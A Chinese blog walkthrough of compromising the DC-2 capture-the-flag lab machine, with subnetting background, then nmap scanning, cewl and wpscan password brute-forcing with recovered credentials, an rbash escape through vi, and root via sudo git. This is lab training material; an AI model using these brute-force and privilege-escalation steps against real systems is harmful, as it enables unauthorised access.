DC2靶机渗透记录

发布于 2023-07-26  303 次阅读


  • 据说dc2和dc4要简单一些,然后是dc1和dc3,那就循序渐进吧

前置知识

  • 以前只是知道一个局域网下面的设备处于内网可以互相访问,事实上并非如此,因为局域网的划分还和网段有关系

  • 网段有什么用?一个主机只有一个ip,同时一个ip也只能存在于一个网段,网段就像一个围栏将不同的ip圈在一起.在同一网段下的ip可以直接实现互相访问,不需要路由器进行相互转发

当设备处于同一个网段(或子网)中时,它们可以直接使用 ARP(地址解析协议)来获取对方的 MAC 地址,并直接发送数据
包到目标设备。ARP 协议允许设备在局域网内查询其他设备的 MAC 地址,以便直接通信。

这是因为在同一个网段内,设备共享相同的网络前缀,可以通过使用子网掩码来确定设备是否在同一个子网中。如果设备具
有相同的网络前缀和子网掩码,那么它们就认为是在同一个网段内,可以直接进行通信,而不需要经过路由器进行转发。
  • 即使在同一个局域网下,两个ip处于不同的网段,它们需要在路由哎设置路由规则来实现不同网段之间的通信才能互相访问
在一个局域网中,不同的网段通常是通过路由器或交换机来连接起来的。这些网络设备具有路由功能,可以将数据包从一个
网段转发到另一个网段,从而实现不同网段之间的通信。

当设备在一个网段内发送数据包到另一个网段时,数据包会被发送到默认网关(通常是路由器),然后路由器会根据目标IP
地址的网段信息将数据包转发到相应的目标网段。这样,不同网段的设备就可以相互通信了。

需要注意的是,为了使不同网段的设备能够互相访问,网络设备(如路由器)需要正确配置和允许相应的路由规则和访问控
制列表(ACL),以确保安全和正确的数据传输。
  • 要了解网段需要知道子网掩码是什么,先看看linux中使用ipconfig或者ip add的结果

  • 其中192.168.122.128是kali的ip,后面的/24表示192.168.122.128所处网段的子网掩码的长度是24位

  • 子网掩码和ip地址一样,二进制状态下全长32位,有以下可能

00000000.00000000.00000000.00000000~11111111.11111111.11111111.11111111
  • 子网掩码由两个部分组成,网络地址位和主机地址位,其中,网络地址位由1表示排列在前,主机地址位由0表示排列在后,子网掩码长度就是指网络地址位的长度,如子网掩码长度/25表示25个网络地址位和7个主机地址位
11111111.11111111.11111111.10000000

将其转换为10进制可以得到子网掩码为:
 255.255.255.128
  • 在这其中,网络地址位用于网段的划分,主机地址位用于发放ip,子网掩码长度越大,网络地址位越多,可划分网段就越多,可以发放的主机ip就越少

  • 那么网段是什么,通过ip和子网掩码的逻辑与运算就可以得到该ip的网段

将IP地址和子网掩码转换为二进制形式:
IP地址:11000000.10101000.00000001.00000001
子网掩码:11111111.11111111.11111111.00000000

对IP地址和子网掩码进行逻辑“与”操作: 
11000000.10101000.00000001.00000001 
11111111.11111111.11111111.00000000
得到:
11000000.10101000.00000001.00000000

转换成10进制,我们可以得出该IP地址所在的网段是 192.168.1.0。
  • 此时,四者的关系就很明了了,知道主机ip的情况下,网段,子网掩码,子网掩码长度三者知一推二

渗透记录

  • arp-scan -l可以扫描同一局域网同一网段下的ip,也就是说扫描到的ip是可以直接访问,不需要路由规则的

  • 因为dc靶机和本机位于同一局域网的同一个网段下,所以可以偷懒直接用arp-scan -l命令可以扫描到dc靶机的ip

arp-scan -l

  • 实战中可没法这样,所以这里也使用nmap扫描一下,其他参数如下
-O:激活操作探测;
-P0:值进行扫描,不ping主机;
-PT:是同TCP的ping;
-sV:探测服务版本信息;
-sP:ping扫描,仅发现目标主机是否存活;
-ps:发送同步(SYN)报文;
-PU:发送udp ping;
-PE:强制执行直接的ICMPping;
-PB:默认模式,可以使用ICMPping和TCPping;
-6:使用IPv6地址;
-v:得到更多选项信息;
-d:增加调试信息地输出;
-oN:以人们可阅读的格式输出;
-oX:以xml格式向指定文件输出信息;
-oM:以机器可阅读的格式输出;
-A:使用所有高级扫描选项;
--resume:继续上次执行完的扫描;
-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围;
-e:在多网络接口Linux系统中,指定扫描使用的网络接口;
-g:将指定的端口作为源端口进行扫描;
--ttl:指定发送的扫描报文的生存期;
--packet-trace:显示扫描过程中收发报文统计;
--scanflags:设置在扫描报文中的TCP标志。
  • 实战中会大致确定目标机的ip范围,比如192.168.122.x24,那么就使用(必须加网段)
nmap 192.168.122.0/24

  • 成功查到ip,上面的命令不会对服务扫的很详细,加上参数针对该ip详细探测一下端口和服务
nmap -A -p- 192.168.122.131

  • 可以看到,80端口开了http服务,7744开了ssh的服务,先看看web服务有没有漏洞,浏览器访问一下,无法访问

  • 注意到扫描到的80端口那里提示,这里是说访问192.168.122.131时,网站后端将请求重定向1到了http://dc-2/这个不存在的网页上面
|_http-title: Did not follow redirect to http://dc-2/
  • 解决办法也很简单,我们在本机的hosts文件中添加一个http://dc-2/的解析记录,将这个域名解析回192.168.122.131,这样目标就没法重定向我们的请求辣.C:\Windows\System32\drivers\etc目录的hosts文件末尾输入
Windows系统规定,在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个地址映射关系,如果有
则调用这个 IP地址映射,如果没有再向已知的DNS服务器提出域名解析。 也就是说Hosts的请求级别比DNS高。
192.168.122.131 dc-2

  • 这里直接保存提示没有权限,不管以什么编辑器编辑,先右键以管理员启动编辑器,再编辑器中打开文件即可

  • 如果和我一样改了hosts文件还是访问不了,说明hosts文件没有生效,这是可以参考下面的操作:

  1. 正确修改hosts文件,一般hosts文件里面都会有个示例,比如 127.0.0.1 51cto.com   即代表打开51cto.com这个网址将解析到127.0.0.1,ip地址与网址间至少要有一空格,另外在最后一行书写映射时一定要加上回车再保存以避免最后一行不生效
  2. 使用ipconfig /flushdns命令来刷新dns缓存
  3. 当你在打开浏览器的情况下修改hosts文件时,关闭浏览器时系统才会释放掉hosts文件占用的那部分内存,我们再次打开浏览器访问才能生效
  • 我就是重启浏览器后才生效的

  • 可以在页面上看到一个明显的flag的tag,得到flag1,翻译一下

Flag 1:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.
你通常使用的密码列表可能行不通,所以也许你只需要变得酷一点。

更多的密码总是更好,但有时你不能事事都胜利。

以其中一个登录以查看下一个标志。

如果找不到,请用另一个登录。
  • 这里面提到了cewl,cewl是一个爬虫,可以通过爬目标网站获取关键信息创建一个密码字典来便于对目标网站的密码进行爆破,使用以下命令爬取该页面并生成dicts.txt(要改一下linux的hosts了,参考https://blog.csdn.net/sqlquan/article/details/99974553),其中-w选项是指定输出文件
ccewl http://dc-2 -w dicts.txt 

  • 因为目标网站时wordpress搭建的,所以可以用wpscan(一款专门攻击wordpress的工具)来扫描漏洞,其参数如下:(有个apitoken值不管它,那个是扫描漏洞的,这里用不到,如果要用可以去官网免费注册就能拿到)
--update 更新到最新版本  
--url -u 要扫描的WordPress站点.  
--force -f 不检查网站运行的是不是`WordPress  
--enumerate -e [option(s)] 枚举 

其他选项: 
u 枚举用户名,默认从1-10 
u[10-20] 枚举用户名,配置从10-20 
p 枚举插件 
vp 只枚举有漏洞的插件 
ap 枚举所有插件,时间较长 
tt 列举缩略图相关的文件 
t 枚举主题信息 
vt 只枚举存在漏洞的主题
at 枚举所有主题,时间较长 
--exclude-content-based 当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹 
--config-file -c 
--user-agent -a 
--cookie 
--random-agent -r 使用随机User-Agent 
--follow-redirection 如果目标包含一个重定向,则直接跟随跳转 
--batch 无需用户交互,都使用默认行为 
--no-color 不要采用彩色输出 
--wp-content-dir 
--wp-plugins-dir 
--proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议 
--proxy-auth 
--basic-auth 
--wordlist -w 
--username -U 
--usernames path-to-file指定爆破用户名字典 
--threads -t 
--cache-ttl cache-ttl设置 cache TTL 
--request-timeout request-timeout请求超时时间 
--connect-timeout connect-timeout连接超时时间 
--max-threads max-threads最大线程数 
--throttle milliseconds当线程数设置为1时,设置两个请求之间的间隔 
--help -h 输出帮助信息 
--verbose -v 输出Verbose 
--version 输出当前版本

  • 如果和我一样显示这个,可以像我一样重新安装一下,就可以正常使用了(怎么4,5个认好像就我遇到了)

  • 第一次使用会自动更新一下数据库,如果像我一样nat和桥接来回切的,先别切回nat😭

  • 扫一下用户

wpscan --url http://192.168.122.131 -e u

  • 提示遇到了那个烦人的重定向,使用以下参数来忽略重定向
wpscan --ignore-main-redirect --url http://192.168.122.131 -e u 

  • 又提示不是wordpress站点,使用-f参数忽略
wpscan --ignore-main-redirect --force --url http://192.168.122.131 -e u 

  • 扫到不少信息,这里关注三个用户名:admin,tom,jerry,将用户名输到文件里面,方便wpscan进行爆破,注意每行间隔一个用户名不需要其他符号,搞不清楚格式可以直接使用echo,注意创建和追加的符号不一样(其实wpscan应该有输出到文件的参数的)
echo "admin" > user.txt
echo "jerry" >> user.txt
echo "tom" >> user.txt

  • 账号密码字典都有了,可以开始爆破了,使用以下命令(如果报错,记得加上-f,-ignore啥的一大堆参数),我刚才把hosts改了,下面两种都可以了,后面就直接用改之后的了
wpscan --ignore-main-redirect --force --url http://192.168.122.131/ -U user.txt -P dicts.txt
wpscan --url http://dc-2/ -U user.txt -P dicts.txt

  • 成功爆破出来一对密码,尝试登录一下,找不到登录界面可以dirsearch扫一下,这里直接访问wp的标准后台链接http://dc-2/wp-login.php
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient

  • 登录成功后如果wp没有设置自动跳转到后台管理界面还得访问一下http://dc-2/wp-admin/成功进入后台,在里面翻找一下就能找到flag2,翻译一下
Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.
如果你无法利用WordPress并找到捷径,还有另一种方法。

希望你找到了其他入口点。

  • 看来80端口之路到此结束了,最开始扫描的结果还有个开在7744端口的ssh,开始打那一个,先尝试用wp爆出来的账户密码登录一下ssh,果然,tom的那一组口令登上了靶机
ssh jerry@192.168.122.131 -p 7744
ssh tom@192.168.122.131 -p 7744

  • 使用ls发现了flag3.txt,再使用cat命令查看文件内容,但是发现没有cat命令

  • 我们可以使用以下命令来查看系统中可用的命令,有个有意思的问题,如果这条命令不可用该怎么看可用命令呢🤔
compgen -c

  • 能用的还有不少,其中翻一下发现vi还可以用,使用vi成功拿到flag3,翻译过来是
vi flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的汤姆总是在追逐杰瑞。也许他应该起诉杰瑞,因为他给他带来了那么多压力。

  • 看了思路,这里的意思是让切换成jerry用户,但是直接su jerry是不行的,因为su不在可以使用的命令里面

  • 这里的部分命令不能使用并不是因为系统没有安装相关的组件,而是因为当前的终端是rbash,它和普通的终端命令行程序bash和dash相比,它可以将部分命令给禁用.要执行被禁止的命令,那么开始就需要提权了,关于rbash的提权有很多,后面单独开一篇报告会单独学一下这个.这里正好有vi,可以使用vi提权

  • vi提权的原理是类似于vi的一些编辑器可以在其中执行系统命令,并且设定执行命令的终端,命令执行过程和终端设定的过程都发生在编辑器之内,所以不会被rbash给限制

先随便编辑一个文件:
vi 123
在末行模式中设定终端程序(两次进入末行,第二次输完回车就会回到终端):
:set shell=/bin/bash
:shell
  • 此时,外部的shell已经变成bash了,但是先前bash没有使用,还没有配置环境变量,以下命令在终端中添加两个bash环境变量
exprot -p //查看所有环境变量,可用可不用
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
  • 再次执行su jerry,可以看到,没有报找不到命令了,提示输入密码了.第一次没有在vi中改终端,提示了没有命令,第二次改了终端没有添加环境变量也提示没有命令

  • 进入后ls不起作用,按照正常的流程,应该是刚才在tom的账户内翻找一下靶机,在jerry的目录下面/home/jerry/flag4.txt找到flag4,这里直接cat出内容,翻译一下
cat /home/jerry/flag4.txt
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!
很高兴看到你已经走到这一步了,但你还没有到达终点。

你还需要获取最后的旗帜(唯一真正重要的旗帜!!!)。

这里没有提示 - 你现在得靠自己了。:-)

继续前进 - 滚出去吧!!!

  • 这里提示了还要提权,尝试一下sudo,如果不想尝试su等命令是否可以使用,也可以使用以下命令来查看,这个命令可以查所有具有Setuid权限的文件,su命令(文件)也在其中
find / -perm -u=s -type f 2>/dev/null
find:在文件系统中查找文件的命令。
/:根目录,表示从整个文件系统开始搜索。
-perm -u=s:这个选项指定了要查找的文件权限。-perm 表示按照权限进行匹配,-u=s 表示要查找具有 Setuid 权限的文件。
-type f:这个选项表示要查找的类型是普通文件,而不是目录或其他类型的文件。
2>/dev/null:将错误输出重定向到 /dev/null,也就是将错误信息丢弃,只保留正确的输出。

  • 不管是查询出来,还是直接尝试出来,这里是没法直接登root的

  • 再联系flag4.txt的git outta here,这里要用到的是git提权,需要满足两个条件:
  1. 前提是执行sudo -l提示git命令拿root不需要密码
  2. 可以使用git命令
  • 这里使用sudo -l,这个命令可以查看有没有不需要密码就能使用root权限执行的命令,这样就可以将这个命令用于提权.比如这里提示了git命令是nopasswd,这就表示了git可以在无命令的情况下以root权限运行

  • 输入以下代码可以实现git提权:
终端输入
sudo git help config 

末行命令模式输入 ,shift+:,然后直接输,:背顶掉了不用管
!/bin/bash或!'sh' 

  • 成功拿到了root权限,在机子上面翻找一下,最后一个flag在/root/final-flag.txt
cat /root/final-flag.txt

  • 最后一段flag
Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.
恭喜!

特别感谢所有给我发送推文并提供反馈的人们 - 这一切都非常受欢迎和感激。

如果你喜欢这个CTF,请通过 @DCAU7 给我发送一条推文。
届ける言葉を今は育ててる
最后更新于 2024-02-07